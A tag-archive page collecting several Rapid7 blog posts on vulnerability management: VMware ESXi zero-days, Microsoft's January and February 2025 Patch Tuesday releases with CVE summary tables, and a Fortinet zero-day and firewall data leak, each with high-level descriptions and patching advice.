Tag Archives: Vulnerability management

Multiple zero-day vulnerabilities in Broadcom VMware ESXi and other products

Post Syndicated from Stephen Fewer original https://blog.rapid7.com/2025/03/04/etr-multiple-zero-day-vulnerabilities-in-broadcom-vmware-esxi-and-other-products/

Multiple zero-day vulnerabilities in Broadcom VMware ESXi and other products

On Tuesday, March 4, 2025, Broadcom published a critical security advisory (VMSA-2025-0004) on 3 new zero-day vulnerabilities affecting multiple VMware products, including ESXi, Workstation, and Fusion. The most severe of the vulnerabilities is CVE-2025-22224, a critical vulnerability in ESXi and Workstation. Notably, these are not remotely exploitable vulnerabilities — they require an attacker to have existing privileged access on a VM that is running on an affected VMware hypervisor.

  • CVE-2025-22224 (CVSS 9.3): A Time-of-Check Time-of-Use (TOCTOU) vulnerability in VMware ESXi and Workstation that can lead to an out-of-bounds write condition. An attacker with local administrative privileges on a virtual machine could exploit this issue to execute code as the virtual machine’s VMX process running on the host.
  • CVE-2025-22225 (CVSS 8.2): An arbitrary write vulnerability in VMware ESXi that allows an attacker with privileges within the VMX process to trigger an arbitrary kernel write leading to an escape of the sandbox.
  • CVE-2025-22226 (CVSS 7.1): An information disclosure vulnerability in VMware ESXi, Workstation, and Fusion that arises from an out-of-bounds read in the Host Guest File System (HGFS). An attacker with administrative privileges to a virtual machine could exploit this issue to leak memory from the VMX process.

Broadcom has published an FAQ with additional information for VMware customers.

All 3 vulnerabilities were reported to Broadcom by Microsoft Threat Intelligence Center. Broadcom’s advisory indicates for all 3 CVEs that Broadcom “has information to suggest that exploitation has occurred in the wild.” Shortly after Broadcom published their advisory, the U.S. Cybersecurity and Infrastructure Security Agency (CISA) added all 3 CVEs to the Known Exploited Vulnerabilities (KEV) list.

Based on the information in the advisory, it appears that the 3 vulnerabilities can be chained together: “This is a situation where an attacker who has already compromised a virtual machine’s guest OS and gained privileged access (administrator or root) could move into the hypervisor itself.”

There is no known public exploit code for any of the CVEs at time of publication. Nevertheless, given that ESXi hypervisors are popular targets for both financially motivated and state-sponsored adversaries, Rapid7 recommends applying vendor-supplied fixes on an expedited basis.

Affected products

The following products are vulnerable to CVE-2025-2224, CVE-2025-22225, and CVE-2025-2226:

  • Broadcom VMware ESXi 7.0 and 8.0
  • Broadcom VMware Cloud Foundation 4.5.x and 5.x
  • Broadcom VMware Telco Cloud Platform 5.x, 4.x, 3.x, and 2.x
  • Broadcom VMware Telco Cloud Infrastructure 3.x and 2.x

The following products are vulnerable to CVE-2025-22224 and CVE-2025-22226:

  • Broadcom VMware Workstation 17.x

The following product is vulnerable to CVE-2025-22226:

  • Broadcom VMware Fusion 13.x

For the most complete information on affected and fixed versions, see Broadcom’s advisory and FAQ.

Rapid7 customers

InsightVM and Nexpose customers will be able to assess their exposure to CVE-2025-22224, CVE-2025-22225, and CVE-2025-22226 on Broadcom VMware ESXi hypervisors, Fusion, and Workstation products with vulnerability checks expected to be available in today’s (Tuesday, March 4) content release.

Patch Tuesday – February 2025

Post Syndicated from Adam Barnett original https://blog.rapid7.com/2025/02/11/microsoft-patch-tuesday/

Patch Tuesday - February 2025

Microsoft is addressing 56 vulnerabilities this February 2025 Patch Tuesday. Microsoft has evidence of in-the-wild exploitation for two of the vulnerabilities published today, which is reflected in CISA KEV. Microsoft is aware of public disclosure for two other vulnerabilities. This is now the fifth consecutive month where Microsoft has published zero-day vulnerabilities on Patch Tuesday without evaluating any of them as critical severity at time of publication. Today also sees the publication of just three critical remote code execution (RCE) vulnerabilities. Eleven browser vulnerabilities have already been published separately this month, and are not included in the total.

Ancillary Function Driver: zero-day EoP

All versions of Windows receive patches today for CVE-2025-21418, a heap-based buffer overflow in the Windows Ancillary Function Driver (AFD). Successful exploitation leads to SYSTEM privileges. The AFD has been around for decades; it handles foundational networking functionality, so it is necessarily a kernel driver which interacts with a great deal of user-supplied input. It is perhaps not very shocking that AFD has been the site of a significant number of problems over the years: specifically, elevation of privilege (EoP) vulnerabilities. Microsoft is aware of existing exploitation in the wild, and with low attack complexity, low privilege requirements, and no requirement for user interaction, CVE-2025-21418 is one to prioritize for patching. The relatively low CVSSv3 base score of 7.8 and severity rating of Important may appear relatively mild; however, broad similarities exist between this vuln and CVE-2024-38193, which Rapid7 flagged as ripe for malware abuse on the day it was published, and which has subsequently been linked to exploitation by North Korean state-associated threat actor tracked as Lazarus.

Windows Storage: zero-day EoP

Ever wanted to delete a file on a Windows box, but pesky permissions prevented you from achieving your goal? CVE-2025-21391 might be just what you need: an elevation of privilege (EoP) vulnerability in the Windows Storage service for which Microsoft is aware of exploitation in the wild. No user interaction is required, and attack complexity is low, and the weakness is given as “CWE-59: Improper Link Resolution Before File Access” but what are attackers hoping to achieve here? Although the advisory provides scant detail, and even offers some vague reassurance that “an attacker would only be able to delete targeted files on a system”, it would be a mistake to assume that the impact of deleting arbitrary files would be limited to data loss or denial of service. As long ago as 2022, ZDI researchers set out how a motivated attacker could parlay arbitrary file deletion into full SYSTEM access using techniques which also involve creative misuse of symbolic links.

NTLMv2 disclosure: zero-day spoofing

It’s almost surprising when any particular Patch Tuesday doesn’t involve plugging one or two holes through which NTLM hashes can leak. CVE-2025-21377 describes an NTLMv2 hash disclosure vulnerability where exploitation ultimately results in the attacker gaining the ability to authenticate as the targeted user. Minimal user interaction with a malicious file is required, including selecting, inspecting, or “performing an action other than opening or executing the file.” This trademark linguistic ducking and weaving may be Microsoft’s way of saying “if we told you any more, we’d give the game away.” Accordingly, Microsoft assesses exploitation as more likely. The advisory acknowledges researchers from 0patch by ACROS Security — who also reported last month’s NTLM hash disclosure zero-day vuln CVE-2025-21308 — as well as others from Securify and Cathay Pacific; this might be the first instance of an airline receiving credit for reporting a Microsoft zero-day vulnerability.

Surface: zero-day container escape

A wide array of Microsoft Surface machines are vulnerable to CVE-2025-21194 until patched, although the most recent Surface Pro 10 and 11 series are not listed as vulnerable. The vulnerability is described as a security feature bypass, and exploitation could lead to container escape from a UEFI host machine and compromise of the hypervisor. Surface devices receive updates via Windows Update, although the advisory also gives brief instructions for users who wish to apply the updates manually. Microsoft describes the vulnerability as publicly disclosed.

LDAP server: critical RCE

Any security advisory which lists multiple weakness types typically describes a complex vulnerability, and Windows LDAP critical remote code execution (RCE) CVE-2025-21376 is no exception. Successful exploitation requires an attacker to navigate multiple challenges, including winning a race condition. The prize: code execution on the Windows LDAP server. Although Microsoft seldom specifies the privilege level of code execution on LDAP server vulnerabilities, Rapid7 has noted previously that the LDAP service runs in a SYSTEM context, and that is the only safe assumption. All versions of Windows receive a patch.

DHCP client: critical RCE

Today sees the publication of a slightly mysterious critical RCE in the Windows DHCP Client Service. Exploitation of CVE-2025-21379 requires an attacker to intercept and potentially modify communications between the Windows DHCP client and the requested resource, which implies either that an attacker can break encryption, or that no encryption is present in the DHCP communication; this risk is highlighted in Microsoft’s own spec for DHCP implementation.

Excel: critical RCE

As if spreadsheets weren’t dangerous enough by themselves, today sees publication of CVE-2025-21381, a critical RCE in Excel. As usual for this class of attack, the advisory clarifies that “remote” in this case refers to the location of the attacker, since user interaction is required, and the code execution will be in the context of the user on their local machine. The Outlook Preview Pane is an attack vector, so simply glancing at an email containing a specially crafted malicious spreadsheet is enough for the attack to succeed, although an attacker could also convince a user to download and open a file from a website, or perhaps simply drop a few USB sticks in the parking lot.

Microsoft lifecycle update

In Microsoft product lifecycle news, SQL Server 2019 moves from mainstream support to extended support on 2025-02-28.

Summary charts

Patch Tuesday - February 2025

Patch Tuesday - February 2025

Patch Tuesday - February 2025

Summary tables

Apps vulnerabilities

CVE Title Exploited? Publicly disclosed? CVSSv3 base score
CVE-2025-21322 Microsoft PC Manager Elevation of Privilege Vulnerability No No 7.8
CVE-2025-21259 Microsoft Outlook Spoofing Vulnerability No No 5.3

Azure vulnerabilities

CVE Title Exploited? Publicly disclosed? CVSSv3 base score
CVE-2025-21198 Microsoft High Performance Compute (HPC) Pack Remote Code Execution Vulnerability No No 9
CVE-2025-21188 Azure Network Watcher VM Extension Elevation of Privilege Vulnerability No No 6

Browser vulnerabilities

CVE Title Exploited? Publicly disclosed? CVSSv3 base score
CVE-2025-21342 Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability No No 8.8
CVE-2025-21408 Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability No No 8.8
CVE-2025-21279 Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability No No 6.5
CVE-2025-21283 Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability No No 6.5
CVE-2025-21253 Microsoft Edge for IOS and Android Spoofing Vulnerability No No 5.3
CVE-2025-21267 Microsoft Edge (Chromium-based) Spoofing Vulnerability No No 4.4
CVE-2025-21404 Microsoft Edge (Chromium-based) Spoofing Vulnerability No No 4.3
CVE-2025-0451 Chromium: CVE-2025-0451 Inappropriate implementation in Extensions API No No N/A
CVE-2025-0445 Chromium: CVE-2025-0445 Use after free in V8 No No N/A
CVE-2025-0444 Chromium: CVE-2025-0444 Use after free in Skia No No N/A

Developer Tools vulnerabilities

CVE Title Exploited? Publicly disclosed? CVSSv3 base score
CVE-2025-21206 Visual Studio Installer Elevation of Privilege Vulnerability No No 7.3
CVE-2025-24042 Visual Studio Code JS Debug Extension Elevation of Privilege Vulnerability No No 7.3
CVE-2025-24039 Visual Studio Code Elevation of Privilege Vulnerability No No 7.3

Developer Tools Mariner vulnerabilities

CVE Title Exploited? Publicly disclosed? CVSSv3 base score
CVE-2023-32002 HackerOne: CVE-2023-32002 Node.js Module._load() policy Remote Code Execution Vulnerability No No N/A

Device vulnerabilities

CVE Title Exploited? Publicly disclosed? CVSSv3 base score
CVE-2025-21194 Microsoft Surface Security Feature Bypass Vulnerability No Yes 7.1

ESU Windows vulnerabilities

CVE Title Exploited? Publicly disclosed? CVSSv3 base score
CVE-2025-21406 Windows Telephony Service Remote Code Execution Vulnerability No No 8.8
CVE-2025-21407 Windows Telephony Service Remote Code Execution Vulnerability No No 8.8
CVE-2025-21190 Windows Telephony Service Remote Code Execution Vulnerability No No 8.8
CVE-2025-21200 Windows Telephony Service Remote Code Execution Vulnerability No No 8.8
CVE-2025-21371 Windows Telephony Service Remote Code Execution Vulnerability No No 8.8
CVE-2025-21201 Windows Telephony Server Remote Code Execution Vulnerability No No 8.8
CVE-2025-21208 Windows Routing and Remote Access Service (RRAS) Remote Code Execution Vulnerability No No 8.8
CVE-2025-21410 Windows Routing and Remote Access Service (RRAS) Remote Code Execution Vulnerability No No 8.8
CVE-2025-21368 Microsoft Digest Authentication Remote Code Execution Vulnerability No No 8.8
CVE-2025-21369 Microsoft Digest Authentication Remote Code Execution Vulnerability No No 8.8
CVE-2025-21376 Windows Lightweight Directory Access Protocol (LDAP) Remote Code Execution Vulnerability No No 8.1
CVE-2025-21359 Windows Kernel Security Feature Bypass Vulnerability No No 7.8
CVE-2025-21373 Windows Installer Elevation of Privilege Vulnerability No No 7.8
CVE-2025-21420 Windows Disk Cleanup Tool Elevation of Privilege Vulnerability No No 7.8
CVE-2025-21418 Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability Yes No 7.8
CVE-2025-21375 Kernel Streaming WOW Thunk Service Driver Elevation of Privilege Vulnerability No No 7.8
CVE-2025-21181 Microsoft Message Queuing (MSMQ) Denial of Service Vulnerability No No 7.5
CVE-2025-21419 Windows Setup Files Cleanup Elevation of Privilege Vulnerability No No 7.1
CVE-2025-21377 NTLM Hash Disclosure Spoofing Vulnerability No Yes 6.5
CVE-2025-21352 Internet Connection Sharing (ICS) Denial of Service Vulnerability No No 6.5
CVE-2025-21347 Windows Deployment Services Denial of Service Vulnerability No No 6
CVE-2025-21350 Windows Kerberos Denial of Service Vulnerability No No 5.9
CVE-2025-21337 Windows NTFS Elevation of Privilege Vulnerability No No 3.3

Microsoft Dynamics vulnerabilities

CVE Title Exploited? Publicly disclosed? CVSSv3 base score
CVE-2025-21177 Microsoft Dynamics 365 Sales Elevation of Privilege Vulnerability No No 8.7

Microsoft Office vulnerabilities

CVE Title Exploited? Publicly disclosed? CVSSv3 base score
CVE-2025-21400 Microsoft SharePoint Server Remote Code Execution Vulnerability No No 8
CVE-2025-21392 Microsoft Office Remote Code Execution Vulnerability No No 7.8
CVE-2025-21397 Microsoft Office Remote Code Execution Vulnerability No No 7.8
CVE-2025-21381 Microsoft Excel Remote Code Execution Vulnerability No No 7.8
CVE-2025-21386 Microsoft Excel Remote Code Execution Vulnerability No No 7.8
CVE-2025-21387 Microsoft Excel Remote Code Execution Vulnerability No No 7.8
CVE-2025-21390 Microsoft Excel Remote Code Execution Vulnerability No No 7.8
CVE-2025-21394 Microsoft Excel Remote Code Execution Vulnerability No No 7.8
CVE-2025-21383 Microsoft Excel Information Disclosure Vulnerability No No 7.8
CVE-2025-24036 Microsoft AutoUpdate (MAU) Elevation of Privilege Vulnerability No No 7

Windows vulnerabilities

CVE Title Exploited? Publicly disclosed? CVSSv3 base score
CVE-2025-21367 Windows Win32 Kernel Subsystem Elevation of Privilege Vulnerability No No 7.8
CVE-2025-21358 Windows Core Messaging Elevation of Privileges Vulnerability No No 7.8
CVE-2025-21351 Windows Active Directory Domain Services API Denial of Service Vulnerability No No 7.5
CVE-2025-21182 Windows Resilient File System (ReFS) Deduplication Service Elevation of Privilege Vulnerability No No 7.4
CVE-2025-21183 Windows Resilient File System (ReFS) Deduplication Service Elevation of Privilege Vulnerability No No 7.4
CVE-2025-21391 Windows Storage Elevation of Privilege Vulnerability Yes No 7.1
CVE-2025-21379 DHCP Client Service Remote Code Execution Vulnerability No No 7.1
CVE-2025-21184 Windows Core Messaging Elevation of Privileges Vulnerability No No 7
CVE-2025-21414 Windows Core Messaging Elevation of Privileges Vulnerability No No 7
CVE-2025-21349 Windows Remote Desktop Configuration Service Tampering Vulnerability No No 6.8
CVE-2025-21212 Internet Connection Sharing (ICS) Denial of Service Vulnerability No No 6.5
CVE-2025-21216 Internet Connection Sharing (ICS) Denial of Service Vulnerability No No 6.5
CVE-2025-21254 Internet Connection Sharing (ICS) Denial of Service Vulnerability No No 6.5
CVE-2025-21179 DHCP Client Service Denial of Service Vulnerability No No 4.8

Fortinet firewalls hit with new zero-day attack, older data leak

Post Syndicated from Caitlin Condon original https://blog.rapid7.com/2025/01/16/etr-fortinet-firewalls-hit-with-new-zero-day-attack-older-data-leak/

Executive summary

Fortinet firewalls hit with new zero-day attack, older data leak

Rapid7 is investigating two separate events affecting Fortinet firewall customers:

  • Zero-day exploitation of CVE-2024-55591, an authentication bypass vulnerability in FortiOS and FortiProxy disclosed earlier this week. Successful exploitation could allow remote attackers to gain super-admin privileges via crafted requests to the Node.js websocket module.
  • A January 15, 2025 dark web post from a threat actor who looks to have published IPs, passwords, and configuration data from 15,000 FortiGate firewalls. The data leaked online appears to be several years old (2022). Rapid7 has not attributed any CVEs to the leaked data at this time.

FortiGate data leak

On Wednesday, January 15, 2025, a threat actor named “Belsen Group” published a trove of Fortinet FortiGate firewall data on the dark web, allegedly from 15,000 organizations. The data released included IP addresses, passwords, and firewall configuration information — a potentially significant risk for organizations whose data was leaked.

Security researcher Kevin Beaumont has an initial analysis of the leaked data, along with his assessment that the data leaked this week appears to be from 2022. After conducting our own outreach to potentially affected organizations, Rapid7 has also confirmed that at least some of the leaked data originated from 2022 incidents where customer firewalls were compromised. Based on Beaumont’s analysis and observations from our own investigations, it’s likely that the data dump published by the threat actor contains primarily or entirely older data.

Rapid7 has not attributed the data leak to a specific CVE at this time. Beaumont said his observations from incident responses indicate that CVE-2022-40684 (a Fortinet firewall zero-day flaw from 2022) may have been the initial access vector that allowed for the large-scale firewall data leak.

New Fortinet zero-day CVE also exploited in the wild

Separately, on Tuesday, January 14, 2025, Fortinet disclosed CVE-2024-55591, a new zero-day vulnerability affecting FortiOS and FortiProxy. Security firm Arctic Wolf had previously published a blog on threat activity targeting Fortinet firewall management interfaces exposed to the public internet, saying that “a zero-day vulnerability is likely” but an initial access vector had not been confirmed. According to Arctic Wolf, the campaign “involved unauthorized administrative logins on management interfaces of firewalls, creation of new accounts, SSL VPN authentication through those accounts, and various other configuration changes.”

Fortinet’s advisory for CVE-2024-55591 includes indicators of compromise (IOCs) and notes that the vulnerability was reported as exploited in the wild at time of disclosure. No individual or firm is explicitly credited for discovering the vulnerability in Fortinet’s advisory, and Fortinet has not confirmed that CVE-2024-55591 is the zero-day vulnerability Arctic Wolf speculated was being leveraged threat activity.

Rapid7 MDR threat hunters have observed activity from IP addresses publicly attributed to the threat campaign targeting CVE-2024-55591, but our team has so far only noted connections consistent with scanning or reconnaissance activity and not exploitation.

Zero-day vulnerabilities in Fortinet FortiOS, the operating system that runs on FortiGate firewalls, have been a relatively common occurrence in recent years and have been leveraged in a wide range of financially motivated, state-sponsored, and other attacks. In addition to CVE-2024-55591, prominent FortiOS zero-day flaws have included:

Like CVE-2022-40684, CVE-2024-55591 is an authentication bypass using an alternate path or channel (CWE-288). While it does not currently appear likely that CVE-2024-55591 is the vulnerability that enabled the collection and release of FortiGate firewall configuration data on January 15, 2025, the vulnerability is nevertheless being exploited in the wild and should be treated with urgency.

Mitigation guidance

According to Fortinet’s advisory, the following products and versions are vulnerable to CVE-2024-55591:

  • Fortinet FortiOS 7.0.0 through 7.0.16 (fixed in 7.0.17 or above)
  • Fortinet FortiProxy 7.2.0 through 7.2.12 (fixed in 7.2.13 or above)
  • Fortinet FortiProxy 7.0.0 through 7.0.19 (fixed in 7.0.20 or above)

Per Fortinet, other versions of FortiOS (6.4, 7.2, 7.4, 7.6) and FortiProxy (2.0, 7.4, 7.6) are not affected. Customers should update to a fixed version immediately, without waiting for a regular patch cycle to occur, and review Fortinet’s IOCs to aid investigations into suspicious activity. Indicators include examples of administrative or local users added by adversaries.

Customers should also ensure that firewall management interfaces are not exposed to the public internet and limit IP addresses that can reach administrative interfaces. If your organization was impacted by the January 15, 2025 FortiGate firewall data leak, you should change administrative and local user passwords immediately. FortiOS also supports multi-factor authentication (MFA) for local user accounts, which Rapid7 strongly recommends implementing.

Rapid7 customers

InsightVM and Nexpose customers can assess their exposure to CVE-2024-55591 with vulnerability checks available in the January 15, 2025 content release. Customers already have coverage for all other FortiOS vulnerabilities mentioned in this blog from past content releases.

Patch Tuesday – January 2025

Post Syndicated from Adam Barnett original https://blog.rapid7.com/2025/01/14/patch-tuesday-january-2025/

Patch Tuesday - January 2025

Microsoft is addressing 161 vulnerabilities this January 2025 Patch Tuesday. Microsoft has evidence of in-the-wild exploitation and/or public disclosure for eight of the vulnerabilities published today, with three listed on CISA KEV. This is now the fourth consecutive month where Microsoft has published zero-day vulnerabilities on Patch Tuesday without evaluating any of them as critical severity at time of publication. Today also sees the publication of nine critical remote code execution (RCE) vulnerabilities. Unusually, Microsoft has not yet published any browser vulnerabilities this month.

Access: triple zero-day RCE

Today sees the publication of three very similar zero-day Microsoft Access vulnerabilities: CVE-2025-21366, CVE-2025-21395, and CVE-2025-21186. In each case, Microsoft notes public disclosure, but does not claim evidence of exploitation in the wild. Successful exploitation leads to code execution via heap-based buffer overflow, and requires that an attacker convince the user to download and open a malicious file.

Curiously, in each case, one portion of the advisory FAQ describes the update protection as “blocking potentially malicious extensions from being sent in an email”, but the remainder of the advisory doesn’t clarify how this would prevent malicious activity. Typically, patches provide protection by blocking malicious files upon receipt of a malicious email attachment, rather than preventing a malicious attachment from being sent in the first place, since an attacker is free to send whatever they like from any system they control.

The FAQ does mention that users who would otherwise have interacted with a malicious attachment will instead receive a notification that there was an attachment but “it cannot be accessed”, which is perhaps the best play on words we’ve seen from MSRC in a while.

Hyper-V NT Kernel Integration VSP: triple zero-day EoP

Microsoft is addressing a trio of related Windows Hyper-V NT Kernel Integration VSP elevation of privilege vulnerabilities today: CVE-2025-21333, CVE-2025-21334, and CVE-2025-21335. Microsoft is aware of exploitation in the wild for all three, as seen on both the Microsoft advisories and CISA KEV. In each case, exploitation leads to SYSTEM privileges. The advisories are short on additional detail, beyond a brief acknowledgement of Anonymous — presumably an undisclosed party, rather than the hacktivist collective — on CVE-2025-21333.

While we can sometimes infer context from prior examples, in this case there aren’t any; there is no mention of Hyper-V NT Kernel Integration VSP in any vulnerability published by Microsoft, at least as far back as 2017. If we look back five years, CVE-2020-16885 does describe an elevation of privilege vulnerability in the Windows storage VSP driver, but there isn’t a lot to go on there either.

The Virtualization Service Provider (VSP) resides in the root partition of a Hyper-V instance, and provides synthetic device support to child partitions over the Virtual Machine Bus (VMBus): it’s the foundation of how Hyper-V allows the child partition to trick itself into thinking that it’s a real computer. Given that the entire thing is a security boundary, it’s perhaps surprising that no Hyper-V NT Kernel Integration VSP vulnerabilities have been acknowledged by Microsoft until today, but it won’t be at all shocking if more now emerge.

The advisories published today do not clarify whether the elevation of privilege is only to SYSTEM within the child partition, but container escape specialists will surely be hunting for exploits in this area.

Windows Themes: zero-day NTLM disclosure

Many enterprise users or even admins may not think about Windows Themes very often, but consider CVE-2025-21308: a spoofing vulnerability where successful exploitation leads to improper disclosure of an NTLM hash, which allows an attacker to impersonate the user from whom it was acquired. Microsoft does not have evidence of in-the-wild exploitation, but does note public disclosure.

The advisory FAQ dances around the exploitation methodology without explaining; what we learn is that once an attacker had somehow delivered a malicious file to the target system, a user would need to manipulate the malicious file, but not necessarily click or open it. Without further detail, we can only speculate, but it’s plausible that simply opening a folder containing the file in Windows Explorer — including the Downloads folder — or inserting a USB drive, would be enough to trigger the vulnerability and see your NTLM hash leak silently for collection by the threat actor.

Some good news: Microsoft has removed NTLMv1 support from Windows 11 24H2 and Server 2025 onwards. Less good: it has been a whole two months since Microsoft last patched a zero-day NTLM disclosure vulnerability; that flaw was within MSHTML/Trident, and Windows 11 24H2 and Server 2025 were still vulnerable, since NTLMv2 is still supported across the board.

On the advisory for CVE-2025-21308, Microsoft does link to documents describing a mitigation technique: restricting NTLM traffic. This is certainly worth a look, since a representative of reporting research organization 0patch has confirmed that NTLMv2 is affected by CVE-2025-21308.

Windows Installer: zero-day EoP

Installing or updating software often requires elevated privileges, and researchers and threat actors have known this for a long time. The advisory for CVE-2025-21275 doesn’t weigh us down with lengthy explanations, it simply says that successful exploitation leads to SYSTEM privileges. Microsoft is aware of public disclosure of this vulnerability, but not in-the-wild exploitation.

CVE-2025-21275 is the latest in a long line of Windows Installer elevation of privilege vulnerabilities; Microsoft has now published 37 Windows Installer elevation of privilege vulnerabilities in total since the start of 2020, although only five of those have been zero-days, with only CVE-2024-38014 known by Microsoft to have been exploited prior to publication in September 2024.

PGM: critical RCE

Microsoft’s in-house research teams are a reliable source of vulnerability discovery in Microsoft products, and today we get patches for the self-discovered CVE-2025-21307, a critical RCE in the Windows Reliable Multicast Transport Driver (RMCAST) with a CVSSv3 base score of 9.8. The vulnerability is only exploitable on a system where a program is listening on a Pragmatic General Multicast (PGM) port.

In 2025, you might very well expect that any service that a major commercial operating system exposes to the network would provide at least some form of authentication capability, but if so, prepare to be disappointed by the Windows implementation of PGM. The concept was first described in RFC 3208, which was published in 2001 in an Experimental state and stayed that way. As Microsoft themselves put it, “the PGM specification [RFC3208] is ambiguous in a number of areas”.

Given the lack of required user interaction and remote attack vector for CVE-2025-21307, it’s well worth asking yourself: does our firewall allow a PGM receiver to receive inbound traffic from the public internet? If so, the second-best time to prevent that is right now.

OLE: critical RCE

Outlook admins who force their users to read emails in plain text only can skip this paragraph, but everyone else should be aware of CVE-2025-21298, a Windows Object Linking and Embedding (OLE) critical RCE with a CVSSv3 base score of 9.8. The eternal threat of the malicious inbound email finds expression again here; just previewing the wrong email in Outlook is all it takes for an attacker to achieve code execution in the context of the user. All versions of Windows receive a patch.

Microsoft lifecycle update

In Microsoft product lifecycle news, Visual Studio 2022 17.6 LTSC receives its last update today.

Summary Charts

Patch Tuesday - January 2025
Patch Tuesday - January 2025
Patch Tuesday - January 2025
Windows Telephony Service looming large this month

Summary tables

Azure vulnerabilities

CVE Title Exploited? Publicly disclosed? CVSSv3 base score
CVE-2025-21380 Azure Marketplace SaaS Resources Information Disclosure Vulnerability No No 8.8
CVE-2025-21403 On-Premises Data Gateway Information Disclosure Vulnerability No No 6.4

Developer Tools vulnerabilities

CVE Title Exploited? Publicly disclosed? CVSSv3 base score
CVE-2025-21178 Visual Studio Remote Code Execution Vulnerability No No 8.8
CVE-2025-21176 .NET, .NET Framework, and Visual Studio Remote Code Execution Vulnerability No No 8.8
CVE-2025-21172 .NET and Visual Studio Remote Code Execution Vulnerability No No 7.5
CVE-2025-21171 .NET Remote Code Execution Vulnerability No No 7.5
CVE-2024-50338 GitHub: CVE-2024-50338 Malformed URL allows information disclosure through git-credential-manager No No 7.4
CVE-2025-21405 Visual Studio Elevation of Privilege Vulnerability No No 7.3
CVE-2025-21173 .NET Elevation of Privilege Vulnerability No No 7.3

ESU Windows vulnerabilities

CVE Title Exploited? Publicly disclosed? CVSSv3 base score
CVE-2025-21307 Windows Reliable Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability No No 9.8
CVE-2025-21298 Windows OLE Remote Code Execution Vulnerability No No 9.8
CVE-2025-21411 Windows Telephony Service Remote Code Execution Vulnerability No No 8.8
CVE-2025-21413 Windows Telephony Service Remote Code Execution Vulnerability No No 8.8
CVE-2025-21233 Windows Telephony Service Remote Code Execution Vulnerability No No 8.8
CVE-2025-21236 Windows Telephony Service Remote Code Execution Vulnerability No No 8.8
CVE-2025-21237 Windows Telephony Service Remote Code Execution Vulnerability No No 8.8
CVE-2025-21243 Windows Telephony Service Remote Code Execution Vulnerability No No 8.8
CVE-2025-21244 Windows Telephony Service Remote Code Execution Vulnerability No No 8.8
CVE-2025-21252 Windows Telephony Service Remote Code Execution Vulnerability No No 8.8
CVE-2025-21266 Windows Telephony Service Remote Code Execution Vulnerability No No 8.8
CVE-2025-21282 Windows Telephony Service Remote Code Execution Vulnerability No No 8.8
CVE-2025-21302 Windows Telephony Service Remote Code Execution Vulnerability No No 8.8
CVE-2025-21303 Windows Telephony Service Remote Code Execution Vulnerability No No 8.8
CVE-2025-21306 Windows Telephony Service Remote Code Execution Vulnerability No No 8.8
CVE-2025-21273 Windows Telephony Service Remote Code Execution Vulnerability No No 8.8
CVE-2025-21286 Windows Telephony Service Remote Code Execution Vulnerability No No 8.8
CVE-2025-21305 Windows Telephony Service Remote Code Execution Vulnerability No No 8.8
CVE-2025-21339 Windows Telephony Service Remote Code Execution Vulnerability No No 8.8
CVE-2025-21246 Windows Telephony Service Remote Code Execution Vulnerability No No 8.8
CVE-2025-21417 Windows Telephony Service Remote Code Execution Vulnerability No No 8.8
CVE-2025-21250 Windows Telephony Service Remote Code Execution Vulnerability No No 8.8
CVE-2025-21240 Windows Telephony Service Remote Code Execution Vulnerability No No 8.8
CVE-2025-21238 Windows Telephony Service Remote Code Execution Vulnerability No No 8.8
CVE-2025-21223 Windows Telephony Service Remote Code Execution Vulnerability No No 8.8
CVE-2025-21409 Windows Telephony Service Remote Code Execution Vulnerability No No 8.8
CVE-2025-21245 Windows Telephony Service Remote Code Execution Vulnerability No No 8.8
CVE-2025-21293 Active Directory Domain Services Elevation of Privilege Vulnerability No No 8.8
CVE-2025-21297 Windows Remote Desktop Services Remote Code Execution Vulnerability No No 8.1
CVE-2025-21309 Windows Remote Desktop Services Remote Code Execution Vulnerability No No 8.1
CVE-2025-21295 SPNEGO Extended Negotiation (NEGOEX) Security Mechanism Remote Code Execution Vulnerability No No 8.1
CVE-2025-21294 Microsoft Digest Authentication Remote Code Execution Vulnerability No No 8.1
CVE-2025-21287 Windows Installer Elevation of Privilege Vulnerability No No 7.8
CVE-2025-21378 Windows CSC Service Elevation of Privilege Vulnerability No No 7.8
CVE-2025-21281 Microsoft COM for Windows Elevation of Privilege Vulnerability No No 7.8
CVE-2025-21389 Windows upnphost.dll Denial of Service Vulnerability No No 7.5
CVE-2025-21300 Windows upnphost.dll Denial of Service Vulnerability No No 7.5
CVE-2025-21276 Windows MapUrlToZone Denial of Service Vulnerability No No 7.5
CVE-2025-21218 Windows Kerberos Denial of Service Vulnerability No No 7.5
CVE-2025-21220 Microsoft Message Queuing Information Disclosure Vulnerability No No 7.5
CVE-2025-21251 Microsoft Message Queuing (MSMQ) Denial of Service Vulnerability No No 7.5
CVE-2025-21270 Microsoft Message Queuing (MSMQ) Denial of Service Vulnerability No No 7.5
CVE-2025-21277 Microsoft Message Queuing (MSMQ) Denial of Service Vulnerability No No 7.5
CVE-2025-21285 Microsoft Message Queuing (MSMQ) Denial of Service Vulnerability No No 7.5
CVE-2025-21289 Microsoft Message Queuing (MSMQ) Denial of Service Vulnerability No No 7.5
CVE-2025-21290 Microsoft Message Queuing (MSMQ) Denial of Service Vulnerability No No 7.5
CVE-2025-21230 Microsoft Message Queuing (MSMQ) Denial of Service Vulnerability No No 7.5
CVE-2025-21231 IP Helper Denial of Service Vulnerability No No 7.5
CVE-2025-21296 BranchCache Remote Code Execution Vulnerability No No 7.5
CVE-2025-21331 Windows Installer Elevation of Privilege Vulnerability No No 7.3
CVE-2025-21211 Secure Boot Security Feature Bypass Vulnerability No No 6.8
CVE-2024-7344 Cert CC: CVE-2024-7344 Howyar Taiwan Secure Boot Bypass No No 6.7
CVE-2025-21249 Windows Digital Media Elevation of Privilege Vulnerability No No 6.6
CVE-2025-21255 Windows Digital Media Elevation of Privilege Vulnerability No No 6.6
CVE-2025-21258 Windows Digital Media Elevation of Privilege Vulnerability No No 6.6
CVE-2025-21260 Windows Digital Media Elevation of Privilege Vulnerability No No 6.6
CVE-2025-21263 Windows Digital Media Elevation of Privilege Vulnerability No No 6.6
CVE-2025-21265 Windows Digital Media Elevation of Privilege Vulnerability No No 6.6
CVE-2025-21327 Windows Digital Media Elevation of Privilege Vulnerability No No 6.6
CVE-2025-21341 Windows Digital Media Elevation of Privilege Vulnerability No No 6.6
